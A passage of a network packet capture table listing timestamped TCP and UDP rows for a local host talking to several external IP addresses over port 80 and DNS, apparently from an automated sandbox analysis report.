Aug 5, 2024 12:01:51.974090099 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974100113 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974112988 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974134922 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974183083 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974350929 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974361897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974371910 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974384069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974395037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974406004 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974417925 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974453926 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974453926 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974531889 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974690914 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974700928 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974705935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974715948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974728107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974737883 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974747896 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974757910 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974761009 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974792004 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974792004 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974857092 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975022078 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975231886 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975243092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975253105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975264072 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975275040 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975286007 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975298882 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975300074 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975310087 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975321054 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975322962 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975322962 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975332975 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975343943 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975347042 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975353956 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975374937 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975440025 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975640059 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975650072 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975660086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975672007 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975771904 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975815058 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975826025 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975840092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975851059 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975861073 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975871086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975881100 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975881100 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975892067 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975902081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975910902 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975913048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975924015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975934029 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975945950 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975945950 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975956917 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975965023 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975965023 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.975969076 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.975997925 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976064920 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976716042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976732969 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976747990 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976757050 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976767063 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976778030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976788044 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976788998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976799965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976810932 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976824045 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976830006 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976835966 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976847887 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976860046 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976864100 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976871014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976881027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976892948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976892948 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976893902 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976902962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976913929 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.976917028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976927042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.976958990 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977010965 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977689981 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977706909 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977716923 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977730036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977740049 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977750063 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977760077 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977771044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977772951 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977781057 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977792025 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977798939 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977798939 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977802992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977813959 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977823973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977834940 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977845907 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977849007 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977859974 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977869034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977869987 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977869987 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977869987 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977880001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977891922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.977906942 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.977976084 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.978483915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.978496075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.978507042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.978519917 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.978545904 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.978547096 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.033828020 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.059235096 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.059294939 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.059308052 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.059348106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.059381962 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.059456110 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.309690952 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.309708118 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.309779882 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.309782982 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.309834957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.309895992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.309906006 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310009956 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.310014963 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310025930 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310039997 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310071945 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.310167074 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310177088 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310516119 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310564041 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310574055 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310589075 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.310718060 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310729027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310740948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310753107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310770035 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.310828924 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.310858965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310982943 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.310992956 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311003923 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311014891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311029911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311043978 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311078072 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311134100 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311295986 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311306953 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311316967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311326981 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311337948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311350107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311361074 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311369896 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311378956 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311388016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311414957 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311415911 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311763048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311774015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311783075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311794043 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311805010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311816931 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311824083 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311830044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311836004 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311842918 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311850071 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.311861992 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.311897039 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312083960 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312259912 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312269926 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312280893 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312292099 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312302113 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312311888 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312321901 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312325954 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312331915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312345982 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312355995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312366009 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312366962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312378883 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312388897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312398911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312408924 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312412024 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312419891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312432051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312438965 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312438965 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312443018 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312453032 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.312478065 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.312537909 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313287973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313298941 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313308001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313318968 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313328981 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313340902 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313342094 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313352108 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313361883 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313363075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313373089 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313385010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313395977 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313404083 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313407898 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313416958 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313426018 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313429117 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313435078 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313452959 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.313965082 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313975096 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313983917 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.313999891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314011097 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314021111 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314032078 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314042091 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314052105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314062119 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314074039 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314084053 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314094067 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314107895 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314107895 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314107895 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314107895 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314107895 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314119101 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314163923 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314163923 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314163923 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314583063 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314589024 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314599991 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314610958 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314621925 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.314737082 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314737082 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.314737082 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:52.320197105 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:52.320269108 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:02:20.977581978 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:02:20.977633953 CEST	49737	80	192.168.2.7	81.70.163.227
Aug 5, 2024 12:02:20.982510090 CEST	80	49751	43.154.222.70	192.168.2.7
Aug 5, 2024 12:02:20.982522964 CEST	80	49737	81.70.163.227	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 12:00:16.496501923 CEST	54471	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:24.968775988 CEST	54086	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:24.976387978 CEST	53	54086	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:26.426620960 CEST	52740	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:26.581665039 CEST	53	52740	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:26.632797956 CEST	52927	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:26.640559912 CEST	53	52927	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:26.746454000 CEST	53962	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:26.754123926 CEST	53	53962	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:30.899435997 CEST	56485	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:31.072082996 CEST	56446	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:31.080032110 CEST	53	56446	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:31.231551886 CEST	53	56485	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:34.425482035 CEST	62636	53	192.168.2.7	1.1.1.1
Aug 5, 2024 12:00:34.775634050 CEST	53	62636	1.1.1.1	192.168.2.7
Aug 5, 2024 12:00:37.120035887 CEST	54244	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.120305061 CEST	54245	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.174597979 CEST	54246	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.174974918 CEST	54247	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.238087893 CEST	54248	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.238904953 CEST	54249	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.300002098 CEST	54250	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.300188065 CEST	54251	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.363430023 CEST	54252	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.364054918 CEST	54253	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.425601959 CEST	54254	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.426613092 CEST	54255	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.487308979 CEST	54256	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.487487078 CEST	54257	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.551291943 CEST	54258	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.552319050 CEST	54259	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.612643003 CEST	54260	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.612982988 CEST	54261	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.674861908 CEST	54262	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.674961090 CEST	54263	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.737376928 CEST	54264	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.737871885 CEST	54265	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.800061941 CEST	54266	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.800107956 CEST	54267	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.829262972 CEST	53	54247	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:37.829731941 CEST	53	54260	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:37.860004902 CEST	53	54265	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:37.863594055 CEST	54268	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.863930941 CEST	54269	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.924877882 CEST	54270	53	192.168.2.7	8.8.8.8
Aug 5, 2024 12:00:37.925004959 CEST	54271	53	192.168.2.7	114.114.114.114
Aug 5, 2024 12:00:37.927016973 CEST	53	54245	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:37.931065083 CEST	53	54270	8.8.8.8	192.168.2.7
Aug 5, 2024 12:00:37.985480070 CEST	53	54254	114.114.114.114	192.168.2.7
Aug 5, 2024 12:00:37.988039970 CEST	53	54264	114.114.114.114	192.168.2.7
